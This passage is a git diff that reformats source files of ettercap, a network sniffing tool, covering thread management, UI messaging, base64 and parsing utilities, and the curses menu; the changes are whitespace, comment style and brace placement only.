DEBUG_MSG("ec_thread_init -- %lu", PTHREAD_ID(id)); INIT_LOCK; - - /* + + /* * allow a thread to be cancelled as soon as the * cancellation request is received */ pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL); pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL); - /* sync with the creator */ + /* sync with the creator */ if ((e = pthread_cond_signal(&init_cond))) ERROR_MSG("raising init_cond: %s", strerror(e)); INIT_UNLOCK; - - DEBUG_MSG("ec_thread_init -- (%lu) ready and syncronized", PTHREAD_ID(id)); + + DEBUG_MSG("ec_thread_init -- (%lu) ready and syncronized", PTHREAD_ID(id)); } /* @@ -258,18 +256,16 @@ void ec_thread_destroy(pthread_t id) if (pthread_equal(id, EC_PTHREAD_SELF)) id = pthread_self(); - - DEBUG_MSG("ec_thread_destroy -- terminating %lu [%s]", PTHREAD_ID(id), ec_thread_getname(id)); + DEBUG_MSG("ec_thread_destroy -- terminating %lu [%s]", PTHREAD_ID(id), ec_thread_getname(id)); /* send the cancel signal to the thread */ pthread_cancel((pthread_t)id); - DEBUG_MSG("ec_thread_destroy -- [%s] terminated", ec_thread_getname(id)); - + THREADS_LOCK; - + LIST_FOREACH(current, &thread_list_head, next) { if (pthread_equal(current->t.id, id)) { #ifndef BROKEN_PTHREAD_JOIN @@ -278,7 +274,7 @@ void ec_thread_destroy(pthread_t id) /* wait until it has finished */ pthread_join((pthread_t)id, NULL); } -#endif +#endif SAFE_FREE(current->t.name); SAFE_FREE(current->t.description); LIST_REMOVE(current, next); @@ -289,10 +285,8 @@ void ec_thread_destroy(pthread_t id) } THREADS_UNLOCK; - } - /* * kill all the registerd thread but * the calling one @@ -312,7 +306,7 @@ void ec_thread_kill_all(void) if (GBL_IFACE->pcap) ec_win_pcap_stop(GBL_IFACE->pcap); #endif - + LIST_FOREACH_SAFE(current, &thread_list_head, next, old) { /* skip ourself */ if (!pthread_equal(current->t.id, id)) { @@ -320,24 +314,24 @@ void ec_thread_kill_all(void) /* send the cancel signal to the thread */ pthread_cancel((pthread_t)current->t.id); - + #ifndef BROKEN_PTHREAD_JOIN if (!current->t.detached) { DEBUG_MSG("ec_thread_destroy: pthread_join"); /* wait until it has finished */ pthread_join(current->t.id, NULL); } -#endif +#endif DEBUG_MSG("ec_thread_kill_all -- [%s] terminated", current->t.name); - + SAFE_FREE(current->t.name); SAFE_FREE(current->t.description); LIST_REMOVE(current, next); SAFE_FREE(current); } } - + THREADS_UNLOCK; } @@ -352,14 +346,14 @@ void ec_thread_exit(void) DEBUG_MSG("ec_thread_exit -- caller %lu [%s]", PTHREAD_ID(id), ec_thread_getname(id)); THREADS_LOCK; - + LIST_FOREACH_SAFE(current, &thread_list_head, next, old) { /* delete our entry */ if (pthread_equal(current->t.id, id)) { - /* thread is attempting to shut down on its own, check and see if the thread is detached, - if not set is as a detached thread since when a thread calls this method, there is no thread - that will do the pthread_join to force it to release all of its resources */ + /* thread is attempting to shut down on its own, check and see if the thread is detached, + * if not set is as a detached thread since when a thread calls this method, there is no thread + * that will do the pthread_join to force it to release all of its resources */ if (!current->t.detached) { pthread_detach(id); } @@ -375,10 +369,8 @@ void ec_thread_exit(void) /* perform a clean exit of the thread */ pthread_exit(0); - } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_ui.c b/src/ec_ui.c index eb960ab67..cfd376774 100644 --- a/src/ec_ui.c +++ b/src/ec_ui.c @@ -1,23 +1,23 @@ /* - ettercap -- user interface stuff - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- user interface stuff + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -37,8 +37,8 @@ static STAILQ_HEAD(, ui_message) messages_queue = STAILQ_HEAD_INITIALIZER(messag /* global mutex on interface */ static pthread_mutex_t ui_msg_mutex = PTHREAD_MUTEX_INITIALIZER; -#define UI_MSG_LOCK do{ pthread_mutex_lock(&ui_msg_mutex); }while(0) -#define UI_MSG_UNLOCK do{ pthread_mutex_unlock(&ui_msg_mutex); }while(0) +#define UI_MSG_LOCK do { pthread_mutex_lock(&ui_msg_mutex); } while (0) +#define UI_MSG_UNLOCK do { pthread_mutex_unlock(&ui_msg_mutex); } while (0) /*******************************************/ @@ -61,8 +61,7 @@ void ui_start(void) if (GBL_UI->initialized) EXECUTE(GBL_UI->start); - else - { + else { DEBUG_MSG("ui_start called initialized"); } } @@ -90,7 +89,7 @@ int ui_progress(char *title, int value, int max) /* send an update notification */ void ui_update(int target) { - if(GBL_UI->update) { + if (GBL_UI->update) { DEBUG_MSG("ui_update"); GBL_UI->update(target); } @@ -106,54 +105,53 @@ void ui_error(const char *fmt, ...) size_t size = 50; char *msg; - /* + /* * we hope the message is shorter * than 'size', else realloc it */ - + SAFE_CALLOC(msg, size, sizeof(char)); while (1) { /* Try to print in the allocated space. */ va_start(ap, fmt); - n = vsnprintf (msg, size, fmt, ap); + n = vsnprintf(msg, size, fmt, ap); va_end(ap); - + /* If that worked, we have finished. */ if (n > -1 && (size_t)n < size) break; - + /* Else try again with more space. */ if (n > -1) /* glibc 2.1 */ - size = n+1; /* precisely what is needed */ + size = n + 1; /* precisely what is needed */ else /* glibc 2.0 */ size *= 2; /* twice the old size */ - + SAFE_REALLOC(msg, size); } /* dump the error in the debug file */ DEBUG_MSG("%s", msg); - + /* call the function */ if (GBL_UI->error) EXECUTE(GBL_UI->error, msg); /* the interface is not yet initialized */ else fprintf(stderr, "\n%s\n", msg); - + /* free the message */ SAFE_FREE(msg); } - /* * the FATAL_ERROR error handling function */ void ui_fatal_error(const char *msg) { - /* - * call the function + /* + * call the function * make sure that the globals have been alloc'd */ if (GBLS && GBL_UI && GBL_UI->fatal_error && GBL_UI->initialized) @@ -163,10 +161,8 @@ void ui_fatal_error(const char *msg) fprintf(stderr, "\n%s\n\n", msg); exit(-1); } - } - /* * this fuction enqueues the messages displayed by * ui_msg_flush() @@ -181,29 +177,29 @@ void ui_msg(const char *fmt, ...) SAFE_CALLOC(msg, 1, sizeof(struct ui_message)); - /* + /* * we hope the message is shorter * than 'size', else realloc it */ - + SAFE_CALLOC(msg->message, size, sizeof(char)); while (1) { /* Try to print in the allocated space. */ va_start(ap, fmt); - n = vsnprintf (msg->message, size, fmt, ap); + n = vsnprintf(msg->message, size, fmt, ap); va_end(ap); - + /* If that worked, we have finished. */ if (n > -1 && (size_t)n < size) break; - + /* Else try again with more space. */ if (n > -1) /* glibc 2.1 */ - size = n+1; /* precisely what is needed */ + size = n + 1; /* precisely what is needed */ else /* glibc 2.0 */ size *= 2; /* twice the old size */ - + SAFE_REALLOC(msg->message, size); } @@ -212,21 +208,19 @@ void ui_msg(const char *fmt, ...) fprintf(GBL_OPTIONS->msg_fd, "%s", msg->message); fflush(GBL_OPTIONS->msg_fd); } - - /* + + /* * MUST use the mutex. * this MAY be a different thread !! */ UI_MSG_LOCK; - + /* add the message to the queue */ STAILQ_INSERT_TAIL(&messages_queue, msg, next); UI_MSG_UNLOCK; - } - /* * get the user input */ @@ -237,7 +231,7 @@ void ui_input(const char *title, char *input, size_t n, void (*callback)(void)) EXECUTE(GBL_UI->input, title, input, n, callback); } -/* +/* * this function is used to display up to 'max' messages. * a user interface MUST use this to empty the message queue. */ @@ -247,23 +241,21 @@ int ui_msg_flush(int max) int i = 0; int old = 0; struct ui_message *msg; - /* sanity checks */ if (!GBL_UI->initialized) return 0; - + if (STAILQ_EMPTY(&messages_queue)) - return 0; + return 0; // don't allow the thread to cancel while holding the ui mutex pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, &old); /* the queue is updated by other threads */ UI_MSG_LOCK; - - while ( (msg = STAILQ_FIRST(&messages_queue)) != NULL) { + while ((msg = STAILQ_FIRST(&messages_queue)) != NULL) { /* diplay the message */ GBL_UI->msg(msg->message); @@ -272,19 +264,18 @@ int ui_msg_flush(int max) /* free the message */ SAFE_FREE(msg->message); SAFE_FREE(msg); - + /* do not display more then 'max' messages */ if (++i == max) break; } - + UI_MSG_UNLOCK; pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, &old); /* returns the number of displayed messages */ return i; - } /* @@ -297,54 +288,53 @@ int ui_msg_purge_all(void) /* the queue is updated by other threads */ UI_MSG_LOCK; - - while ( (msg = STAILQ_FIRST(&messages_queue)) != NULL) { + + while ((msg = STAILQ_FIRST(&messages_queue)) != NULL) { STAILQ_REMOVE_HEAD(&messages_queue, msg, next); /* free the message */ SAFE_FREE(msg->message); SAFE_FREE(msg); i++; } - + UI_MSG_UNLOCK; - + /* returns the number of purgeded messages */ return i; - } /* * register the function pointer for * the user interface. - * a new user interface MUST implement this - * three function and use this function + * a new user interface MUST implement this + * three function and use this function * to hook in the right place. */ void ui_register(struct ui_ops *ops) { - + BUG_IF(ops->init == NULL); GBL_UI->init = ops->init; - + BUG_IF(ops->cleanup == NULL); GBL_UI->cleanup = ops->cleanup; - + BUG_IF(ops->start == NULL); GBL_UI->start = ops->start; - + BUG_IF(ops->msg == NULL); GBL_UI->msg = ops->msg; - + BUG_IF(ops->error == NULL); GBL_UI->error = ops->error; - + BUG_IF(ops->fatal_error == NULL); GBL_UI->fatal_error = ops->fatal_error; - + BUG_IF(ops->input == NULL); GBL_UI->input = ops->input; - + BUG_IF(ops->progress == NULL); GBL_UI->progress = ops->progress; @@ -353,8 +343,6 @@ void ui_register(struct ui_ops *ops) GBL_UI->type = ops->type; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_utils.c b/src/ec_utils.c index 0a80aabbe..8bf49d5be 100644 --- a/src/ec_utils.c +++ b/src/ec_utils.c @@ -1,24 +1,23 @@ /* - ettercap -- Ettercap utilities - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * ettercap -- Ettercap utilities + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -38,19 +37,19 @@ #include -#define BASE64_SIZE(x) (((x)+2) / 3 * 4 + 1) +#define BASE64_SIZE(x) (((x) + 2) / 3 * 4 + 1) static const uint8_t map2[] = { - 0x3e, 0xff, 0xff, 0xff, 0x3f, 0x34, 0x35, 0x36, - 0x37, 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0xff, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x01, - 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, - 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, - 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x1a, 0x1b, - 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, - 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, - 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33 + 0x3e, 0xff, 0xff, 0xff, 0x3f, 0x34, 0x35, 0x36, + 0x37, 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0xff, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x01, + 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, + 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, + 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x1a, 0x1b, + 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, + 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, + 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33 }; /* @@ -58,61 +57,61 @@ static const uint8_t map2[] = * and fill the structure with expanded numbers. */ -int expand_token(char *s, u_int max, void (*func)(void *t, u_int n), void *t ) +int expand_token(char *s, u_int max, void (*func)(void *t, u_int n), void *t) { char *str = strdup(s); char *p, *q, r; char *end; u_int a = 0, b = 0; - + DEBUG_MSG("expand_token %s", s); - + p = str; end = p + strlen(p); - + while (p < end) { q = p; - + /* find the end of the first digit */ - while ( isdigit((int)*q) && q++ < end); - - r = *q; + while (isdigit((int)*q) && q++ < end) ; + + r = *q; *q = 0; /* get the first digit */ a = atoi(p); - if (a > max) + if (a > max) FATAL_MSG("Out of range (%d) !!", max); - + /* it is a range ? */ - if ( r == '-') { + if (r == '-') { p = ++q; /* find the end of the range */ - while ( isdigit((int)*q) && q++ < end); + while (isdigit((int)*q) && q++ < end) ; *q = 0; - if (*p == '\0') + if (*p == '\0') FATAL_MSG("Invalid range !!"); /* get the second digit */ b = atoi(p); - if (b > max) + if (b > max) FATAL_MSG("Out of range (%d)!!", max); if (b < a) FATAL_MSG("Invalid decrementing range !!"); } else { /* it is not a range */ - b = a; - } - + b = a; + } + /* process the range and invoke the callback */ - for(; a <= b; a++) { + for (; a <= b; a++) { func(t, a); } - + if (q == end) break; - else p = q + 1; + else p = q + 1; } - + SAFE_FREE(str); - + return E_SUCCESS; } @@ -124,7 +123,7 @@ int set_regex(char *regex) { int err; char errbuf[100]; - + DEBUG_MSG("set_regex: %s", regex); /* free any previous compilation */ @@ -136,12 +135,12 @@ int set_regex(char *regex) SAFE_FREE(GBL_OPTIONS->regex); return E_SUCCESS; } - + /* allocate the new structure */ SAFE_CALLOC(GBL_OPTIONS->regex, 1, sizeof(regex_t)); - + /* compile the regex */ - err = regcomp(GBL_OPTIONS->regex, regex, REG_EXTENDED | REG_NOSUB | REG_ICASE ); + err = regcomp(GBL_OPTIONS->regex, regex, REG_EXTENDED | REG_NOSUB | REG_ICASE); if (err) { regerror(err, GBL_OPTIONS->regex, errbuf, sizeof(errbuf)); @@ -156,11 +155,11 @@ char **parse_iflist(char *list) int i, n; char **r, *t, *p; - for(i = 0, n = 1; list[i] != '\0'; list[i++] == ',' ? n++ : n); - SAFE_CALLOC(r, n + 1, sizeof(char*)); + for (i = 0, n = 1; list[i] != '\0'; list[i++] == ',' ? n++ : n) ; + SAFE_CALLOC(r, n + 1, sizeof(char *)); /* its self-explaining */ - for(r[i=0]=ec_strtok(list,",",&p);i= sizeof_array || map2[index] == 0xff) return -1; v = (v << 6) + map2[index]; if (i & 3) { if (dst - *outptr < decodeLen) { - *dst++ = v >> (6 - 2 * (i & 3)); + *dst++ = v >> (6 - 2 * (i & 3)); } - } + } } return decodeLen; } + int base64encode(const char *inputbuff, char **outptr) { - static const char b64[] = - "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + static const char b64[] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; char *ret, *dst; unsigned i_bits = 0; int i_shift = 0; int bytes_remaining = strlen(inputbuff); - SAFE_CALLOC(*outptr, bytes_remaining*4/3+4, sizeof(char)); + SAFE_CALLOC(*outptr, bytes_remaining * 4 / 3 + 4, sizeof(char)); ret = dst = *outptr; - while(bytes_remaining) { + while (bytes_remaining) { i_bits = (i_bits << 8) + *inputbuff++; bytes_remaining--; i_shift += 8; @@ -304,13 +304,13 @@ int base64encode(const char *inputbuff, char **outptr) do { *dst++ = b64[(i_bits << 6 >> i_shift) & 0x3f]; i_shift -= 6; - } while(i_shift > 6 || (bytes_remaining == 0 && i_shift > 0)); + } while (i_shift > 6 || (bytes_remaining == 0 && i_shift > 0)); } - while((dst - ret) & 3) + while ((dst - ret) & 3) *dst++ = '='; *dst = '\0'; - + return strlen(*outptr); } @@ -332,7 +332,7 @@ const char *ec_ctime(const struct timeval *tv) if (!tv) t = time(NULL); else - t = (time_t) tv->tv_sec; + t = (time_t)tv->tv_sec; ts_str = ctime(&t); @@ -346,11 +346,9 @@ const char *ec_ctime(const struct timeval *tv) snprintf(result, sizeof(result), "%lu.%06lu", (unsigned long)tv->tv_sec, tv->tv_usec); #endif - return (result); + return result; } - /* EOF */ - // vim:ts=3:expandtab diff --git a/src/interfaces/curses/ec_curses.c b/src/interfaces/curses/ec_curses.c index 0d4bdd151..575be156a 100644 --- a/src/interfaces/curses/ec_curses.c +++ b/src/interfaces/curses/ec_curses.c @@ -1,23 +1,23 @@ /* - ettercap -- curses GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- curses GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -39,7 +39,7 @@ extern char *curses_version(void); /* proto */ static void curses_interface(void); - + static void curses_init(void); static void curses_cleanup(void); static void curses_msg(const char *msg); @@ -64,10 +64,8 @@ static void bridged_sniff(void); static void curses_pcap_filter(void); static void curses_set_netmask(void); - /*******************************************/ - void set_curses_interface(void) { struct ui_ops ops; @@ -86,16 +84,14 @@ void set_curses_interface(void) ops.input = &curses_input; ops.progress = &curses_progress; ops.update = &curses_update; - + ui_register(&ops); DEBUG_MSG("Curses -> %s\n", curses_version()); - } - /* - * set the terminal as non blocking + * set the terminal as non blocking */ static void curses_init(void) { @@ -104,7 +100,7 @@ static void curses_init(void) /* init the widgets library */ wdg_init(); - /* + /* * we have to set it because we ask user interaction * during this function. * we cant wait to return to set the flag... @@ -112,7 +108,7 @@ static void curses_init(void) GBL_UI->initialized = 1; DEBUG_MSG("curses_init: screen %dx%d colors: %d", (int)current_screen.cols, (int)current_screen.lines, - (int)(current_screen.flags & WDG_SCR_HAS_COLORS)); + (int)(current_screen.flags & WDG_SCR_HAS_COLORS)); /* initialize the colors */ wdg_init_color(EC_COLOR, GBL_CONF->colors.fg, GBL_CONF->colors.bg); @@ -129,7 +125,7 @@ static void curses_init(void) /* set the screen color */ wdg_screen_color(EC_COLOR); - + /* call the setup interface */ curses_setup(); @@ -137,7 +133,7 @@ static void curses_init(void) } /* - * exit from the setup interface + * exit from the setup interface */ static void curses_exit(void) { @@ -177,19 +173,18 @@ static void curses_msg(const char *msg) wdg_scroll_print(sysmsg_win, EC_COLOR, "%s", (char *)msg); } - /* * print an error */ static void curses_error(const char *msg) { wdg_t *dlg; - + DEBUG_MSG("curses_error: %s", msg); /* create the dialog */ wdg_create_object(&dlg, WDG_DIALOG, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); - + wdg_set_title(dlg, "ERROR:", WDG_ALIGN_LEFT); wdg_set_color(dlg, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(dlg, WDG_COLOR_WINDOW, EC_COLOR_ERROR); @@ -199,18 +194,17 @@ static void curses_error(const char *msg) /* set the message */ wdg_dialog_text(dlg, WDG_OK, msg); wdg_draw_object(dlg); - + wdg_set_focus(dlg); } - /* * handle a fatal error and exit */ static void curses_fatal_error(const char *msg) { DEBUG_MSG("curses_fatal_error: %s", msg); - + /* cleanup the curses mode */ wdg_cleanup(); @@ -219,9 +213,8 @@ static void curses_fatal_error(const char *msg) clean_exit(-1); } - /* - * get an input from the user + * get an input from the user */ void curses_input(const char *title, char *input, size_t n, void (*callback)(void)) { @@ -235,68 +228,67 @@ void curses_input(const char *title, char *input, size_t n, void (*callback)(voi wdg_input_size(in, strlen(title) + n, 3); wdg_input_add(in, 1, 1, title, input, n, 1); wdg_input_set_callback(in, callback); - + wdg_draw_object(in); - + wdg_set_focus(in); - + /* block until user input */ wdg_input_get_input(in); } -/* - * implement the progress bar +/* + * implement the progress bar */ static int curses_progress(char *title, int value, int max) { static wdg_t *per = NULL; int ret; - + /* the first time, create the object */ if (per == NULL) { wdg_create_object(&per, WDG_PERCENTAGE, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); - + wdg_set_title(per, title, WDG_ALIGN_CENTER); wdg_set_color(per, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(per, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(per, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(per, WDG_COLOR_TITLE, EC_COLOR_MENU); - + wdg_draw_object(per); - + wdg_set_focus(per); - - } - + } + /* the subsequent calls have to only update the object */ ret = wdg_percentage_set(per, value, max); wdg_update_screen(); switch (ret) { - case WDG_PERCENTAGE_FINISHED: - /* - * the object is self-destructing... - * so we have only to set the pointer to null - */ - per = NULL; - return UI_PROGRESS_FINISHED; - break; - - case WDG_PERCENTAGE_INTERRUPTED: - /* - * the user has requested to stop the current task. - * the percentage was self-destructed, we have to - * set the pointer to null and return the proper value - */ - per = NULL; - return UI_PROGRESS_INTERRUPTED; - break; - - case WDG_PERCENTAGE_UPDATED: - return UI_PROGRESS_UPDATED; - break; + case WDG_PERCENTAGE_FINISHED: + /* + * the object is self-destructing... + * so we have only to set the pointer to null + */ + per = NULL; + return UI_PROGRESS_FINISHED; + break; + + case WDG_PERCENTAGE_INTERRUPTED: + /* + * the user has requested to stop the current task. + * the percentage was self-destructed, we have to + * set the pointer to null and return the proper value + */ + per = NULL; + return UI_PROGRESS_INTERRUPTED; + break; + + case WDG_PERCENTAGE_UPDATED: + return UI_PROGRESS_UPDATED; + break; } - + return UI_PROGRESS_UPDATED; } @@ -305,12 +297,12 @@ static int curses_progress(char *title, int value, int max) */ static void curses_update(int target) { - switch(target) { - case UI_UPDATE_HOSTLIST: curses_hosts_update(); - break; - case UI_UPDATE_PLUGINLIST: - curses_plugins_update(); - default: break; + switch (target) { + case UI_UPDATE_HOSTLIST: curses_hosts_update(); + break; + case UI_UPDATE_PLUGINLIST: + curses_plugins_update(); + default: break; } } @@ -320,12 +312,12 @@ static void curses_update(int target) void curses_message(const char *msg) { wdg_t *dlg; - + DEBUG_MSG("curses_message: %s", msg); /* create the dialog */ wdg_create_object(&dlg, WDG_DIALOG, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); - + wdg_set_color(dlg, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(dlg, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(dlg, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); @@ -334,23 +326,21 @@ void curses_message(const char *msg) /* set the message */ wdg_dialog_text(dlg, WDG_OK, msg); wdg_draw_object(dlg); - + wdg_set_focus(dlg); } - /* the interface */ void curses_interface(void) { DEBUG_MSG("curses_interface"); - + /* which interface do we have to display ? */ if (GBL_OPTIONS->read) curses_sniff_offline(); else curses_sniff_live(); - /* destroy the previously allocated object */ wdg_destroy_object(&sysmsg_win); @@ -385,35 +375,31 @@ static void toggle_nopromisc(void) static void curses_setup(void) { wdg_t *menu; - - struct wdg_menu file[] = { {"File", 'F', "", NULL}, - {"Open...", CTRL('O'), "C-o", curses_file_open}, - {"Dump to file...", CTRL('D'), "C-d", curses_file_write}, - {"-", 0, "", NULL}, - {"Exit", CTRL('X'), "C-x", curses_exit}, - {NULL, 0, NULL, NULL}, - }; - - struct wdg_menu live[] = { {"Sniff", 'S', "", NULL}, - {"Unified sniffing...", 'U', "U", curses_unified_sniff}, - {"Bridged sniffing...", 'B', "B", curses_bridged_sniff}, - {"-", 0, "", NULL}, - {"Set pcap filter...", 'p', "p", curses_pcap_filter}, - {NULL, 0, NULL, NULL}, - }; - - struct wdg_menu options[] = { {"Options", 'O', "", NULL}, - {"Unoffensive", 0, tag_unoff, toggle_unoffensive}, - {"Promisc mode", 0, tag_promisc, toggle_nopromisc}, - {"Set netmask", 'n', "n" , curses_set_netmask}, - {NULL, 0, NULL, NULL}, - }; - - + + struct wdg_menu file[] = { { "File", 'F', "", NULL }, + { "Open...", CTRL('O'), "C-o", curses_file_open }, + { "Dump to file...", CTRL('D'), "C-d", curses_file_write }, + { "-", 0, "", NULL }, + { "Exit", CTRL('X'), "C-x", curses_exit }, + { NULL, 0, NULL, NULL }, }; + + struct wdg_menu live[] = { { "Sniff", 'S', "", NULL }, + { "Unified sniffing...", 'U', "U", curses_unified_sniff }, + { "Bridged sniffing...", 'B', "B", curses_bridged_sniff }, + { "-", 0, "", NULL }, + { "Set pcap filter...", 'p', "p", curses_pcap_filter }, + { NULL, 0, NULL, NULL }, }; + + struct wdg_menu options[] = { { "Options", 'O', "", NULL }, + { "Unoffensive", 0, tag_unoff, toggle_unoffensive }, + { "Promisc mode", 0, tag_promisc, toggle_nopromisc }, + { "Set netmask", 'n', "n", curses_set_netmask }, + { NULL, 0, NULL, NULL }, }; + DEBUG_MSG("curses_setup"); - + wdg_create_object(&menu, WDG_MENU, WDG_OBJ_WANT_FOCUS | WDG_OBJ_ROOT_OBJECT); - + wdg_set_title(menu, GBL_VERSION, WDG_ALIGN_RIGHT); wdg_set_color(menu, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(menu, WDG_COLOR_WINDOW, EC_COLOR_MENU); @@ -424,12 +410,12 @@ static void curses_setup(void) wdg_menu_add(menu, options); wdg_menu_add(menu, menu_help); wdg_draw_object(menu); - + DEBUG_MSG("curses_setup: menu created"); /* create the bottom windows for user messages */ wdg_create_object(&sysmsg_win, WDG_SCROLL, WDG_OBJ_WANT_FOCUS); - + wdg_set_title(sysmsg_win, "User messages:", WDG_ALIGN_LEFT); wdg_set_size(sysmsg_win, 0, SYSMSG_WIN_SIZE, 0, 0); wdg_set_color(sysmsg_win, WDG_COLOR_SCREEN, EC_COLOR); @@ -439,12 +425,12 @@ static void curses_setup(void) wdg_set_color(sysmsg_win, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_scroll_set_lines(sysmsg_win, 500); wdg_draw_object(sysmsg_win); - + /* give the focus to the menu */ wdg_set_focus(menu); - + DEBUG_MSG("curses_setup: sysmsg created"); - + /* initialize the options */ if (GBL_OPTIONS->unoffensive) tag_unoff[0] = '*'; @@ -455,13 +441,12 @@ static void curses_setup(void) tag_promisc[0] = '*'; else tag_promisc[0] = ' '; - - + /* give the control to the interface */ wdg_events_handler('u'); - + wdg_destroy_object(&menu); - + DEBUG_MSG("curses_setup: end"); } @@ -471,11 +456,11 @@ static void curses_setup(void) static void curses_file_open(void) { wdg_t *fop; - + DEBUG_MSG("curses_file_open"); - + wdg_create_object(&fop, WDG_FILE, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); - + wdg_set_title(fop, "Select a pcap file...", WDG_ALIGN_LEFT); wdg_set_color(fop, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(fop, WDG_COLOR_WINDOW, EC_COLOR_MENU); @@ -483,21 +468,21 @@ static void curses_file_open(void) wdg_set_color(fop, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_file_set_callback(fop, read_pcapfile); - + wdg_draw_object(fop); - + wdg_set_focus(fop); } static void read_pcapfile(const char *path, char *file) { char pcap_errbuf[PCAP_ERRBUF_SIZE]; - + DEBUG_MSG("read_pcapfile %s/%s", path, file); - - SAFE_CALLOC(GBL_OPTIONS->pcapfile_in, strlen(path)+strlen(file)+2, sizeof(char)); - snprintf(GBL_OPTIONS->pcapfile_in, 